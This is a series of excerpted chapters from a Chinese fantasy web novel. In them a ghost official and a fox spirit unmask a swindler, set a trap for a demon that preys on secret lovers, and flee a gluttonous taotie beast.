突然,门外对面屋顶传来动静,喻遥一扭头,喝道:“什么人?” 其余三人一齐看去,见一人影匍匐趴在对面屋顶之上,月亮在后,逆光看不清那人样貌,听到喻遥的喝声,腾地一下站起转身就跑。 喻遥站起身喊道:“阿宋你跟我追,海猛,赵财主交给你发落了!” 说着二人便立刻冲出了房屋。 那人脚下步伐飞快,身子飞掠,在夜间的屋顶来回横跃,为了甩掉身后的喻遥和阿宋,更是一会在屋顶跑,一会儿又跳下去在夜间空旷的街道上跑。 阿宋在后面追,隐约觉得,前面这人,莫名有些眼熟。 直追到一小巷,一进来却发现巷内竟毫无一人,喻遥阿宋背靠背向巷子深处移动,同时两双眼不停地扫视周围,生怕那男子从哪个昏暗角落突然窜出来暗算他们。 直到走到巷尾,也无人出来,阿宋抬头看了看巷尾这堵高墙,道:“难道从这翻出去了?” 喻遥道:“不会,这墙的高度,就算是身手再好的人族,也翻不出去的。” 阿宋细瞧周围的几处房屋,视线渐渐停留在右侧,突然,她扒着喻遥的胳膊道:“大人你看,这不是黎娘家吗?” 喻遥看去,还真是,他看了看周遭地形,此处应是布衣坊的后门,之前他们两次到访分别是从前门和侧门进的,还 16. 鸳鸯糖画 《三界追星图鉴》全本免费阅读 哗啦一下拉开柜门,里面却空空如也。 这时,身后突然传来动静,喻遥侧首,见旁边的砖块堆中猛然飞窜出一人!正是他们刚从赵财主家追击到此处的那名蒙面男! 风起土扬间,那人手持匕首直朝他刺来,喻遥悠悠转身却未闪避,一边唇角勾起,左手朝下一拍,一红色光罩立刻拔地而起将他全身包裹住。 那光罩在外相护,看着单薄脆弱不堪一击,实则却刀枪不入坚不可摧,且韧劲十足,匕首在刺中的瞬间如同弹簧受力般,坚硬笔直的匕首当即变弯变软,而后受到强大的弹力,连刀带人一齐被远远弹飞! 喻遥走到那已倒地吐血的男子面前,抬起右手,看到自己裹着纱布的手掌微微渗出红血,当下眉头微微蹙起。 这时,阿宋和春娘的步伐声已传至门口,喻遥闻声立刻将右手握拳收起藏于袍袖之下。 春娘进门看到二人一站立一躺地,当即大喊道:“公子!别杀他!“ 阿宋追随而入,看到倒在地上的蒙面男诧异道:“你怎么会在这?” 春娘扑在地上,急忙查看那男子的伤势,在他身上摸来摸去,生怕他缺了胳膊断了腿似的,眼中也因为担忧害怕流下眼泪。 那男子伤得不清但又瞧春娘实在担忧,纵然吼间涌血,说话也呼噜噜的含糊不清,也忙对春娘道:“没事,我没事。” 这声音虽不清晰,但音色却颇为熟悉,喻遥仔细回忆,成功与脑海中一个声音匹配上,蹲下身一把将那男子的蒙面拽下。 这男子,竟是黑老三! 阿宋暗道难怪刚才在身后追觉得身影十分熟悉。 那黑老三受了伤面色虚弱,嘴唇煞白,狗腿神态却不减,冲喻遥和阿宋谄媚一笑,道:“公子姑娘,又见面了哈。” 喻遥对春娘冷冷道:“你想掩藏的,就是他?” 闻言,春娘泪未止住,汗已流下,支支吾吾道:“我......” 阿宋瞧两人举止亲密,道:“你二人该不会是?” 春娘点头,缓缓道:“老三他,是我的情郎。” 阿宋要一口气背过去了,为什么这个世界上总有美女好好的偏偏要找丑男啊? 喻遥朝黑老三问道:“你为何躲在赵财主家偷听我们说话?” “小人不是故意偷听您二位说话的。”黑老三尬笑道:“只是,每日晚上例行盯梢他们家罢了......” “实不相瞒,上次您二位截了小人的包之后,小人手里营生没了,日子越发吃紧,为了生活,便做起了一门生意,就是,嘿嘿,帮人算命,赚点小钱。” 黑老三说着,拇指食指搓了搓。 阿宋呵呵道:“已有耳闻,不过,你赚的那应该不是小钱吧?而且,你居然还会算命?” 黑老三道:“嗐,小人哪会算命,跟人胡说瞎编罢了,我跟您说,这帮人看着人傻钱多,实际也不是随随便便就能唬住的,小人思来想去就只好半夜潜到人家盯梢,偷听些人家的家事,回头给他们算命的时候,再假装是自己算出来的,对方就相信了。” 喻遥手捏在下巴上,思考道:“那你那个天雷咒的符......” 黑老三一愣,嗐道:“您说赵财主那个?那不是什么符!那就是小人把纸给染黄了,照着书上的图样随便画图,屁用都不顶的!” 阿宋:“......” 合着这假冒的咒符随随便便就坑了赵财主五千两走? 阿宋道:“你个奸商!” 春娘手搭在黑老三胳膊上,黑老三看了她一眼,冲她笑笑示意没事,对二人道:“小人虽然是个奸商不错,但也想快些赚够钱娶我心爱的女子!” 黑老三撑着身体从地上爬起,却没有站起,而是跪在地上,朝喻遥和阿宋道:“公子,姑娘,小人确实是个江湖骗子,活到现在也骗了无数人,赚了很多黑心钱,之前还盗过墓,不过盗墓那事儿,我自从和春娘重逢之后,就已经不干了,还有,其实上次您二位就算不收小人的包,我也打算不干这事了,我赚脏钱不要紧,但我是想娶她的呀,我总不能以后让她花的都是脏钱吧。” 他三指举起道:“我发誓!小人刚也不是故意想攻击公子的,实在是二位腿速太快又心思缜密,小人实在逃不了了才不得已攻击公子的。” 阿宋道:“重逢?你二人原就相识?” 春娘道:“小人是孤儿,幼时无人看管又性子顽皮曾不注意失足落水,幸得以一年龄相仿水性好的男孩相救,但当时因为一些阴差阳错的缘故,我没能当时就与恩人相见,直到去年,我俩意外遇见,才认出彼此身份,而后相处之下又互通了心意。” “小人虽贪财,但对所爱之人绝对是真心实意的。”正说着黑老三慢慢伏低身子磕了个头,哽咽道:“我不求两位不将我扭送府衙,只求二位留我一条命,就算一定要分开,只要能让我有朝一日能与春娘再次相见就可以!” “三哥......”闻言,春娘握紧了他的手臂。 这......阿宋不知道该说什么了,瞧了瞧喻遥的脸色,一脸冷峻没有回应。 半晌,他道:“不行。” 黑老三和春娘一起看他,面如死灰。 “我不会送你去府衙的,而且我对你的命也不感兴趣,自然也懒得杀你。”喻遥道:“不过,我有一要求,不知你是否同意。” 竟有反转,黑老三一抹脸上的泪,道:“公子但说无妨!” 喻遥道:“第一,天亮之前,把你目前手里所有骗来的钱统统还回去。第二,如果已经花了一部分但又还不起,剩下的这部分,我给你一年时间,尽快还完,一年之后,我会再来找你看你的完成情况。如果这两点你都可以答应,我就不杀你,并且也不抓你进府衙。” 闻言,黑老三面露喜色,忙不迭道:“好好好,我答应我答应。”语毕激动地拉起春娘的手道:“我们可以一直在一起了!!” 春娘激动地与他抱在一起。 阿宋背着手走过去拍了拍还跪在地上的两人,道:“行啦行啦,别跪着了站起来吧。” 二人擦了擦眼上泪水,黑老三身子虚弱但还是伸出手先扶春娘站起。 等黑老三站起,阿送拍拍他肩膀道:“还完钱以后好好努力赚钱吧,给春娘花知道吗?” 黑老三笑道:“您放心!小人肯定会的!黎娘那婆娘虽然不大看得上我,但骂我时有句话说得倒是不错,就是没钱别娶老婆,耽误人家好姑娘!我也想让我心爱的女子过上好日子!” 阿宋道:“黎娘也知道你们的事?” 春娘面色有点羞涩,点头道:“一开始是不知的,因我知道黎娘待我如亲姐妹,定会认为老三并非良配,所以我与老三便总是偷着相见,但后来,她出事那天,老三又偷着来找我,没成想被她碰见了,我心一横干脆就和她坦白了,后来......我们就爆发了争吵,我一气之下说不从布衣坊干了,便带着老三离开了,可是......” “可那终究只是我的一番气话,她待我那么好,从丈夫过世她独身一人来南悦城开了布衣坊,我们便在一起相互关照,我怎会舍得真走,没成想,第二天回来就出事了。” 说着,她已又落下了泪,黑老三忙摸摸她的后背安抚。 忽然,黑老三道:“对了公子,你那天问我黎娘买命簿的具体情况,我当时有点吓蒙了想不起来啥了,但后来回去后我又想起了点细节,不知道你们需要不?” 阿宋道:“太好了,快说快说!” 黑老三道:“这个命簿,一开始是春娘跟她闲聊的时候无意间提了一嘴,但是后来,却是她自己独身来找我买的,还嘱咐我不要告诉任何人。” 喻遥道:“她有提到要这命格簿有何用处吗?” “她没有明说。”黑老三道:“但是我从她话里能听出点意思。” “其实这命格簿我也不知道具体有什么用处,但为了出手,我就胡诌了一通,跟她说,命格簿命格簿,自然是与人的命格相关,上面记录了人的过往命格,也决定了人未来多世的往生命轮,什么诸如此类的。” “她好像听进去了,自己在那想了一会儿,突然问我,如果拿 17. 目的不明 《三界追星图鉴》全本免费阅读 鸳鸯......鸳鸯...... 喻遥脑海中灵光一现,道:“或许他恨的,想杀的,并不是鸳鸯......而是,交欢的情侣!” 阿宋道:“所以房事不是结果,而是诱因?但这,选取的范围会不会太大了些,全城人族情侣那么多,为什么相隔一月之内偏偏选中了这三家,而且黎娘是寡妇,丧夫后也未有伴侣,怎么也会被选中呢?” 喻遥眉头微微皱起,缓缓闭上眼睛,三个现场所有的细枝末节于脑海中一一闪过。 “那一晚,我们做了我们人生中最为疯狂的一个决定。” “我实在担心,便在出事那夜,偷偷遛进她家找她。” “那个是小人,从话本上看来的偏方,说是夫妻假装偷情男女,有助提升效果” “所以我与老三便总是偷着相见......” 喻遥猛地睁开双眼,双眼视线聚焦于桌前燃烧正热烈的一根红烛。 烛光摇曳,宛如一只跳动的精灵,于空中轻盈舞动,舞动的节奏如同人的心脏般狂跳不止。 “红烛情动,私相授受。“喻遥道:“或许,他的杀人规律,正是夜晚秘密私会的男女情侣!” “赵夫人赵财主一对,小秋阿冬一对。黎娘是没有情郎,但是还记得刚才春娘他们说了什么吗?那日原本春娘是要照常与黑老三在布衣坊私会的,却被黎娘突然发现,两人才跑了出去,那魔一开始便选好了杀人对象,只是没想到杀人对象突然生变,黎娘,就意外成了替代的人!” 阿宋恍然大悟。 喻遥道:“我们现在去找海猛!” 黑夜将尽,天色渐明,清晨已至,南悦城恢复白日热络,街上人来人往,三人再度在府衙汇合后,海猛带喻遥阿宋来到一处名为“四溢居”的早茶馆内。 海猛给自己倒了杯茶,喝下后长出一口气道:“好了,已经安排下去了,找人做戏我们做局,晚上就去抓他个措手不及!” 喻遥道:“辛苦了。” 海猛不在意地一摆手,示意小事儿而已,道:“这么说来,这黎娘还真是遇上倒霉事了,本来没她什么事儿的,现在好了,生死未卜,人都不知道在哪儿,就算能找回来也不知道人还活不活着。” 阿宋道:“我们尽快抓住那只魔,她越有生存的机会。” 海猛说着一叹气,道:“说起来啊,这黎娘还真是个苦命人,你看她柔柔弱弱一个女子吧,其实还吃过好多年的牢狱之苦,而且她这苦,吃的也是冤得很!” 喻遥喝茶旁听,闻言放下杯子道:“怎么说?” “其实这事啊,城里很多人都知道,也不是什么秘密,她自己呢,也挺坦荡的没想遮掩,她进牢狱啊,是因为过失杀人,杀的呢就是她自己的丈夫。” 海猛又一合掌拍手道:“不过啊,这还真不怪她,你们知道的喽,漂亮的女子容易招惹一些莫名其妙的无辜是非。她和她男人家里以前是做干果生意的,这种生意,人来人往的,想卖货总要给顾客尝一点,这黎娘就是正常和人对话递人吃的,也不知怎的街里街坊就有人开始传她不检点不守妇道,到处撩男人了,听说她那个亡夫是个小心眼善妒的,老是打她,夫家人也都不太行,又连个拦的人都没有,打的邻居们都知道这事。她一柔弱女子,哪受的起这种暴力?可能是终于有一天忍不了了吧,她反抗的时候一不小心就把她男人给推倒摔死了。” 阿宋心下惊讶,倒并非是因为黎娘杀人,而是,她原以为黎娘和丈夫应是关系极好,所以才想复活去世的丈夫,但如今看来,二人关系如此恶劣,那她为何还要花这么大的力气复活他呢? 海猛感慨道:“哎!好人偏偏遇到了倒霉人倒霉事啊!” 喻遥在旁突然开口道:“是不是好人,还不一定。” 海猛脸色一垮,撸袖子站起来,道:“你又呛我是吧?行!我今天非跟你算账!” 说着就要过来揪喻遥的领子,阿宋回过神急忙拦住他道:“海猛大人你淡定一点!不是的,喻遥大人没有要呛你的意思,是因为我们知道了黎娘的一些事情!” 海猛顶着一口粗嗓道:“什么事儿?” 阿宋道:“因为那个黎娘买了命格簿,命格簿就是我们地界在寻找的东西。” 海猛下意识反问道:“真的吗?” 喻遥无语道:“骗你难道会得银子?” 海猛又是一拍案而起,指着喻遥道:“他这次肯定是呛我了!” 阿宋又是一通安抚,把人给按下了。 而后,海猛又问道:“她要这东西干什么?” 阿宋道:“我们昨天跟卖命格簿的那个人聊了一下,她应该是想要用这命格簿来做法事,交换别人的命轮来复活一个人?” “复活谁?” 阿宋看了海猛一眼,把愤起的他摁回椅子上,自己也坐下道:“这不就是不知道,想赶紧把人救出来,拿回命格簿好问清楚嘛!” 喻遥道:“她和丈夫间的关系如此恶劣,难道还想要复活她的丈夫?” 阿宋道:“我也在想,你说那个魔者会不会就是他丈夫的亡魂所化?你还记得那天晚上,那个魔来找她,她说‘对不起都是我害了你‘,会不会就是她对他丈夫心存抱歉才会说这种话?” 喻遥道:“我觉得不会是,那天和那只魔交手,我感受到虽然他魔体尚未成熟,但也足有将近百年,而黎娘不过四十岁,杀夫的时候也就二十多岁,从那时到现在,就算他丈夫死后怨念成魔,多说不过二十多年的魔体,年岁不符。” 阿宋道:“那难道?她除了误杀丈夫以外,还曾意外害死过别人?” 三人正讨论,店里小二端着托盘来给几人上早茶点心了,反正无解,便先放到一边,消消停停地吃完早饭再说。 海猛能吃些,面前摆了足足有十多笼,虾饺,红米肠,叉烧包,各种各样眼花缭乱。 而喻遥一只鬼呢,一向食欲不振,面前只摆了一份肠粉。 海猛从筷筒里抽出筷子,无意间瞥了眼阿宋面前,惊道:“阿宋妹子,你怎么也吃这么点!” 阿宋的面前只摆了一份烧麦,且分量只有三个。 阿宋一脸尬笑,暗道,是我想吃这么少的吗!还不是欠钱心虚,稍微点多些老鬼又要抖算盘了。 海猛见她瞄了眼喻遥又一脸苦相,立刻明白怎么回事了,冲喻遥道:“好你个老鬼,使唤人家给你干活,还不给人家吃饱饭发够工钱!你也太抠门了吧!” 喻遥无视他废话已成习惯,淡定地抽出筷子,又掏出手绢静静擦拭。 “剥削鬼。”海猛转头对阿宋道:“妹子,我瞧你身手不错,他这么抠,要不你别跟他干了,你跟我干吧,我们府衙给银子给的可多了!” 阿宋一听“银子给的多”几个字当即兴奋地眼冒绿光,刚要说话,就被喻遥打断道:“在我面前,这么明目张胆的挖人?” 海猛切地一声道:“谁让你给人家的待遇不好呢?” 喻遥擦拭完筷子放下,又将手绢叠好收回怀中,看着阿宋道:“你倒是想挖,不过,得先把她的欠款还了。” 海猛往椅背一靠,手搭在椅背上,脚也抬起踩在椅子上,一脸不屑道:“还呗,你说说,多少钱?” 喻遥道:“判官大人给打了折之后,差不多......五万三千多两地银吧。” 海猛又是切地一声道:“区区五万,老子怎么说也是个城主,小事一桩,这钱我出了!” 语毕豪迈地一拍胸脯。 阿宋看着海猛的眼神都快从冒绿光变成冒金光了, 18. 意料之外 《三界追星图鉴》全本免费阅读 先盯着人家看的是喻遥,他自认冒犯,冲男子微笑点头,以表歉意,随后就移开了视线。 移开后却觉得自己脸上仍有一道灼热视线,扭头发现那男子竟还盯着他。 喻遥不由得蹙起眉头,心中暗自疑惑,莫非他二人认识? 脑海中仔细回忆是否和此男子有过交集,未果,便更奇怪了。 他正纠结是否要上前与其说上几句,谁知,那男子突然宛如狗嗅物般,拱起鼻子向他的方向闻了闻。 喻遥:“......” 仔细嗅闻之后,那男子突然大咧开嘴,露出诡异狰狞的笑容。 那人口中尖牙参差不齐,再加上眼神也透露着一股狡黠,额头青筋暴起,仿佛带着一股野兽寻到满意猎物的惊喜兴奋感。 盯得只叫人觉得一阵渗人,浑身发毛。 就在喻遥以为他要有下一步动作的时候,那男子却突然将表情收起,继续埋头吃他的饭了。 莫名其妙。 转头瞧海猛阿宋吃的俱是投入,也无暇与自己讨论,喻遥想了想,站起身。 刚转身要往外走,就被阿宋拉住了衣角,她道:“大人你要干嘛去?” 喻遥站着看着坐着的她,见她一双清莹的眼里带着关切之意,一时有些恍惚。 寻常狐族眉眼间多含媚惑感,但阿宋却不同,她的眼睛常带着一种与众不同的清澈纯粹,透露着一种发自内心的真诚。 喻遥道:“我吃好了,出去走走透透气,反正现在也无事做。” 阿宋立刻放下碗筷起身,抹抹嘴道:“那我和你一起去,正好我也吃饱了,你白天灵息受限,万一遇到危险就不好了。” 喻遥瞄了眼她那桌上才只吃了不过两屉,小狐狸的饭量又岂是这么小的? 他笑了笑,将阿宋的手从自己衣角拽下,又将她按回座位,道:“放心,无事,我不去远处,只在店门口站一会儿。” 见阿宋没动地方,面色仍有犹豫,喻遥伸出手将那笼屉里的一只肉包拿起,放在她的碗中,道:“我就在不远处,不会走远,你能看的到我的,不必担心。” 说着,便离开快步走了出去。 阿宋忙抻脖子瞄他身影,见他到账房柜台处跟小二说了几句什么,随后就走到店门口静静站着吹风,没有走远。 阿宋勉强放下了心,海猛在旁催促她:“妹子你快吃啊,别管他。” 她笑着应了,刚一坐下,刚跟喻遥说话的小二就端过来几屉新点心。 海猛疑惑道:“我们点的上完了啊,怎么还有?” 小二哈腰,手指了下门口道:“这个是那位红衣公子刚才加点的,说有人会不够吃,这个账他已经连他自己那份单独付过了。” 说着便将吃的都放到阿宋面前。 阿宋一愣,立刻转头看喻遥。 见他一袭红衣背手站在门口,清晨的微风经过,将他的发丝和衣袂都吹得微微扬起。 再转头看那开着花的叉烧包,冒着热气与香气。 阿宋将双手捧在碗边,温度透过碗传递过来,不知不觉手和心都变得暖呼呼的了。 等待多时,入夜后,三人来到一处民宅,进入一间房屋。 一进来,三人便在屋内找了三把椅子并排坐下。 此处为一空置许久的老宅,周遭也无人居住,海猛想着一会儿若是那魔来了,定是免不了一场恶战,防止伤及无辜,此地最为合适,只不过...... “啊嚏!” 阿宋抱着胳膊打了个喷嚏,抱怨道:“海猛大人!你选的这个地方也太冷了吧,冻的我浑身狐狸毛都要站起来了。” 海猛抱歉道:“本来就偏,又太久没人住,没什么烟火气,肯定是要冷一点的。” 转而又道:“不过!也不完全怪我吧!谁知道今晚上南悦城突然变天了,不止屋里冷的,屋外也冷的要死!” 阿宋冻得又打了个寒颤道:“好好,不怪你不怪你。” 说是不怪,但却是真冷。 海猛喻遥,一皮糙肉厚,一魂体属阴,降温了也冷不到哪去,可真是苦了她了。 阿宋搓了搓身上,又搓搓手,两掌张开朝里面哈了哈气。 喻遥坐在她旁边,突然道:“还是很冷?” 身子发抖想装也装不了,阿宋勉强笑道:“是有一点哈哈。” 海猛起身道:“要不我出去借点炭回来,烧一会儿能热乎点。” 阿宋摇头道:“别了,一出去万一打草惊蛇就不好了,而且也不知道他什么时候来。” 海猛无奈坐回来了,喻遥低头沉思了一会儿,突然起身往旁边屋里走去,再回来手里就抱了两床被子。 阿宋眼看他走到自己面前,刷啦抖开棉被,又用力在她头顶一扬而起。 下一刻,她就感觉棉被落在了自己的后背上,喻遥则一脸淡然地把两边的被角拽过来,在她胸前打了个结,轻声道:“没有炭,就裹厚些取暖吧。” 阿宋愣愣的没反应过来盯着他看,海猛则在旁看着感慨道:“真是活见鬼了!老鬼居然也会关心人了!” 海猛话一出,阿宋看到喻遥立刻瞟了一眼她,对视了又飞快移开视线,咳嗽一声道:“什么关心,我是怕她冻僵了影响身手,万一一会那个魔来了,对付不了。” 阿宋还是盯着他看。 喻遥一脸尴尬,两手从被子上下来,在身体两边抬了抬,又放下,找了半天也没找到合适的地方放他那两只手,干脆双手交叉抱臂坐下闭目养神了。 半晌,耳边传来一点温热气,熟悉的声音道:“谢谢。” 喻遥睁开眼,扭头看到阿宋在旁边裹着被子冲他笑,朝被子努努嘴,又小声道:“还有白天的吃的,也谢谢你喔。” 喻遥感觉自己的耳朵有点发烫。 突然,门窗嘎吱嘎吱地响了起来,外面刮起了风,三人当即脸色肃起。 渐渐地,风声越来越近。 屋外风声呼啸,狂风肆意地吹,屋内则悄无声息,三人谁也不敢动,不敢发出任何声音,阿宋和喻遥更是隐匿了周身灵息,生怕将那魔吓跑了。 月光洒下来,投射到窗户上,照得窗纸发白,在漫长的等待之后,突然,那窗户上映出一个人影,不高,看着是个男子身形。 窗外那人缓缓抬起手,喻遥和阿宋已感受到有魔息透过门窗缝隙漫入。 海猛握紧了手中的长枪,喻遥手已摸上耳后金羽,阿宋举起一手刀横在胸前。 那手,慢慢,慢慢地靠近门窗...... 三人眼睛紧紧地盯着门窗,身子绷紧已成蓄势待发之势。 但是,那窗外的手却突然维持着握拳举起敲门的姿势,停在门前不动了。 三人彼此对视,这是怎么个情况,难道被发现了? 阿宋眯起眼想要看那人身影看得更清楚些,却不知道是不是天黑自己眼花,她瞧那身影隐约觉得那魔似乎在微微晃动,那手也是一会抬起一会放下,好像,在犹豫一般。 阿宋心声传音道:“他在犹豫什么?” 喻遥回道:“难道,是我们过于安静 19. 雪地谈话 《三界追星图鉴》全本免费阅读 喻遥阿宋将海猛送回了城主府,找了一直给他看病的老大夫来给他看伤。 所幸没有新伤,只是摔倒的时候腰部受力旧伤犯了。 但看病的老大夫仍是一脸严峻,施针后严肃地怒斥道:“城主大人,老朽提醒过你很多次了,你这腰千万不能再随便动武了!不然不要说动武,小心你以后站起来都困难!” 这老大夫语气虽凶,但言辞却是真心关心海猛的。 海猛不好意思地挠挠头,道:“哎呀,这不是有特殊情况嘛。” 老大夫登时吹胡子瞪眼,海猛立刻有眼力见地跟下人道:“快快快!来人送大夫回家,结款时别忘了给大夫包个大红包哈!” 又朝老大夫嘿嘿笑道:“您老慢走,慢走,我一定小心,小心哈。” 老大夫一脸恨铁不成钢的表情,张了张嘴,最后叹了口气,一甩袍袖走了。 大夫一走,海猛往床上一躺,松了口气。 突然,余光接收到两道灼热的视线,一扭头,阿宋和喻遥就坐在床边静静看他。 海猛咳嗽一声,一脸尴尬扶腰坐起,道:“干嘛这么看我。” 阿宋道:“大人你腰伤这么严重,还跟我们到处跑?” “啊。”海猛道:“还行啊,不咋严重。” 喻遥淡淡道:“他在撒谎。” 阿宋立刻瞪海猛。 海猛抖了一下,尴尬道:“好、好吧,其实是有点严重。” 阿宋道:“怎么回事啊?” 海猛嗐了一声道:“打仗呗,你们也知道,我以前是武将,隔三差五的出去打仗,怎么可能不受伤,就那么一次呗,受伤严重了点,腰就不行了。” 阿宋思索道:“所以,这就是你之前当武将,后来突然转做文官的原因?” 海猛愣了下,半晌,点点头,一脸不甘心道:“也不是我想转的,是圣上,怕我的身体撑不下去战役的艰苦环境了,才下旨让我转文官的。圣上对我真的很好!其实照常来说我这种的,就该病退回乡了,但是他感念我为国征战多年,又因为打仗受伤,就给我安排了南悦城主这么个差事,说是收入不菲,也算清闲,偶尔他还能来看看我。” 说着,海猛叹了口气,道:“但我不想清闲啊,我就想拿着我那柄长枪,能够再次奋勇杀敌。” 他说这话的时候眼中十分坚定,虽然现在因为受伤面色是憔悴的,但眼中仍是熠熠生辉的。 却又突然变得黯淡,他扶着腰道:“可是,我这个伤,估计,不太可能了吧。” 海猛日常一向是精神亢奋的状态,突然这么一颓丧,阿宋想,这事情可能,真的对他打击很大吧,一个热血征战的将军突然被告知再也不能奋勇杀敌,怎么能不难过呢? 阿宋拍拍他的后背。 喻遥道:“你先休息吧,回头再说,这个案子应该还有些问题没有解决,我们商讨之后再回来和你同步。” 说着,便带着阿宋离开了。 走出城主府,二人走到一条街上,阿宋道:“海猛大人好像真的很难受。” 喻遥道:“那也没有办法,现在伤已经受了。” 阿宋张了张嘴,没说话。 喻遥看了她一眼,道:“先解决要紧的事情吧,别的事以后再说。” “哦、好。”阿宋道:“昨晚那个魔,怎么会突然走啊?” 喻遥道:“不是突然走的,应该是,犹豫一阵后走的。” 阿宋道:“他在犹豫什么,是我们屋里有什么吗?难道他早就发现屋里是我们,一切都是我们做的局了?” “不会。” 喻遥道:“他后来看我出手,立刻就跑了,如果知道屋里是我们,他早就跑了,不会在门口犹犹豫豫半天。” 阿宋道:“那是什么,我们屋里没有什么东西是会影响魔的啊。” 喻遥手捏在下巴上道:“我再想想。” 街上喧闹,吵得人无法安静思考,喻遥和阿宋拐进一条静僻小巷里站着。 昨夜南悦城下了一夜的雪,如今地上积雪已经有些厚度,也是奇怪了,南悦城四季常春,以往冬天最多也就下几场冻雨,这么大的雪倒是难得。 喻遥在思考,阿宋就在旁边一个人踢踢踏踏地玩雪。 喻遥想了很久都没有思路,一扭头,发现阿宋已经在旁堆起了个雪人,他一时觉得有趣,走过去看。 阿宋得意洋洋,道:“怎么样?还不错吧?” 喻遥道:“嗯,堆得挺圆。” 阿宋嘿嘿一笑,道:“以前我和小师傅也经常在雪山道观门口堆雪人的,那会儿我还没化人型呢,就是只白狐。堆完雪人,我和小师傅没事就一起在雪地里玩捉迷藏,我毛色白躲在雪里,他看不到,我就突然跳出来吓得他一跳,他总是被我气的跳脚但又没办法。” 过往的记忆何其美好,阿宋不免有些怀念。 喻遥看她表情略有伤感,道:“你跟你小师傅关系很好?” 阿宋道:“嗯啊,我小师傅应该是世界上对我最好的人了。” 喻遥道:“既然如此,为何你不在山上陪他,还下山来了?” 阿宋道:“因为,我师傅过世了啊,我是兽族,活的年岁要比他长得多,他是人族,到了寿命,就故去了。” “之后我一个人在山上,过了很久很久,山上也不来人,修成人型后,我觉得孤独,就下山了。” 想到什么阿宋又笑道:“你不知道,我师傅以前可盼着我修成人型了,可能是他也觉得孤独吧,想有人陪自己聊聊天,不过那时我不懂,修炼偷懒,化形心法也不好好练。” “后来,自己一个人了,才知道孤独是真的很难忍。” 说着说着,她的头就垂下去了。 怀念是一种两面性的感受,它会让你回忆起以前很多美好的瞬间,再度拥有那时的幸福感受,但回忆过后,又是无限的感伤。 因为你知道,那些失去的东西和记忆,终是会留在过去,不会再回来了。 有那么一瞬间,喻遥很想摸摸她的头,抬起了手,却终是放下。 背过手道:“其实,我也一个人度过了很长的岁月。” 阿宋抬头道:“诶?你在地界两千年里,一直没有交朋友嘛?” “嗯——”喻遥想了想道:“很久以前,交过的吧,太远了,不记得了。” “那意思是后来没交过喽?为什么啊?” 喻遥点头,道:“地界岁月漫长,来回来去,有无数亡魂经过后离开,再有执念的亡灵在地界辗转多年后,也终究会投身转命轮。” “我在地界两千余年,身边走过了形形色色的各种人,起初也尝试交过各种朋友,但时日到了,终究是要分别,分别之后,则再去交新的朋友。” “如此循环往复,身边的人却总是不固定的,再多的相熟相知也终会走向告别,时间长了,也就累了,干脆选择不交,一个人,习惯了也挺好的。” 阿宋道:“但是,虽然最后都是分别,你们之间还是会留下很多很美好的记忆啊?” 喻遥看她。 “你们一同相处,无论是游玩时的幸福,闲聊时的快乐,争吵时的愤怒,分别时的悲伤,这都是很重要的过程和记忆。” 阿宋笑道:“难道这些过程,不比分离的结果本身更重要,更值得珍惜嘛?” 喻遥道:“过程,比结果,更重要?” 阿宋点头,又道:“而且,既然你过得不开心,那你为什么不去转生呢?” 闻言,喻遥一顿,阿宋立刻反应过来,急忙摆手道:“不不,那个我随便问的,没事了没事了。” 半晌,喻遥笑道:“以后有机会,再告诉你吧。” 啊? 阿宋心中惊讶,以往试图探究喻遥的秘密,他总是各种推拒掩盖。 20. 墓碑突现 《三界追星图鉴》全本免费阅读 暴食男一脸邪笑道:“真好,我们又见面了。” 说着,他站起,将手中那半死不活的鸡一把扔掷在地上,脚踩碾过,朝喻遥走近了些许。 喻遥道:“你......” 暴食男又拱起鼻子朝他闻了闻,舔了舔自己的嘴巴,一脸馋样,道:“两千年的亡灵,味道一定很好,一定很滋补。” 喻遥脸色骤变。 暴食男冷笑道:“那日我就已闻到了你身上的魂气,没吃你,是因为感受到你身边还有兽族保护,我恐出差错,才没有出手。” 暴食男舔舔嘴道:“如今,你倒是自己送上门来了,你运气真好,老子在城里随便溜达,就被你遇上了两次。” 说着,他的身后冒出了夹杂着臭气的黑色气焰,搓着手开始向喻遥靠近。 “等等!”喻遥喊道。 暴食男笑道:“死到临头,想说遗言吗?” 喻遥冷笑一声道:“我只是想说,堂堂地界通缉榜第二的妖兽饕餮,居然如今已混到了这种下场,饥渴的都吃上活鸡了?” 暴食男一愣,声音嘶哑道:“你,你怎么知道我是饕餮?” 喻遥道:“四溢居内见你,已有怀疑,如今再见你生吃活鸡,不堪入目的吃相,浑身散发的臭气,更是确认,你就是那饕餮。” 虽身在险境,喻遥仍是神采奕奕,露出一个坏笑道:“你不知道吧,在三界已有一句关于你的名言流传在外了,那就是......” “饿极屎也吃得下,‘臭’名远扬是饕餮。” 闻言,那饕餮面色通红道:“你、你、你放屁!” 喻遥捂着鼻子,一脸嫌弃道:“臭极的是你,你却说我放屁。” “我这就吃了你!让你再啰啰嗦嗦!” 怒吼间,饕餮就朝他扑了过来。 喻遥心念电转,白日灵息限制,只能用拳脚身法,但人族之躯又如何能仅凭拳脚就败退凶兽,耳后金羽亦无法化成长剑,便只能当做飞镖来用,然而也只能使用一次。 如今情形,比起攻击迎战,更为妥当的操作,应是闪避逃命。 不能往闹市逃,伤及无辜百姓就不好了,喻遥眼睛飞速一瞥旁边通着隐秘小巷的偏门,确定想法,他当即拽下发上金羽,朝饕餮的眼睛狠狠掷去。 金羽镖直射而来,饕餮当即瞳孔收缩,身体跃起,一个跟头翻起,金羽镖擦着他的身体而过。 再落地看向喻遥,他已趁这会儿功夫,迅速逃向偏门。 饕餮瞳中映出喻遥身影从门缝间闪过的样子,恶狠狠地道:“我一定要吃了你!” 说着便迈步,飞速冲向喻遥逃出的那扇门。 喻遥刚逃出没几步,饕餮就追上了,喻遥跑几步,饕餮便更快地靠近几步。 情况愈发不利,喻遥还是一个劲地朝小巷深处跑,饕餮在后面道:“放弃吧,你必死无疑!” 喻遥无视,用尽全身气力奔跑,半晌,终于停下了。 他看着眼前的木门,此处正是他们那夜给那魔下局之时待的院子的后门。 喻遥一迈而进,躲在会客厅旁边的帘子后。 饕餮跟随一脚踹门进入,扫视一圈不见喻遥身影,眼中怒火当即更盛。 喻遥喘了口气,暗道那日来时,他查看此处地形,发现此处宅院内部结构设置的极为复杂,院子面积大,小路窄又多,弯弯绕绕的,活像个迷宫。 借用此点绕路引开饕餮最是不错。 正想着,饕餮已看到帘后身影,大吼一声,直朝他扑来。 喻遥转身就逃。 他穿过会客厅,直进东厢房,一把将地上的椅子举起转身砸到饕餮身上,又从窗户跳出。 再抵书斋,将屋内书案尽数踹倒,绊倒后面的饕餮。 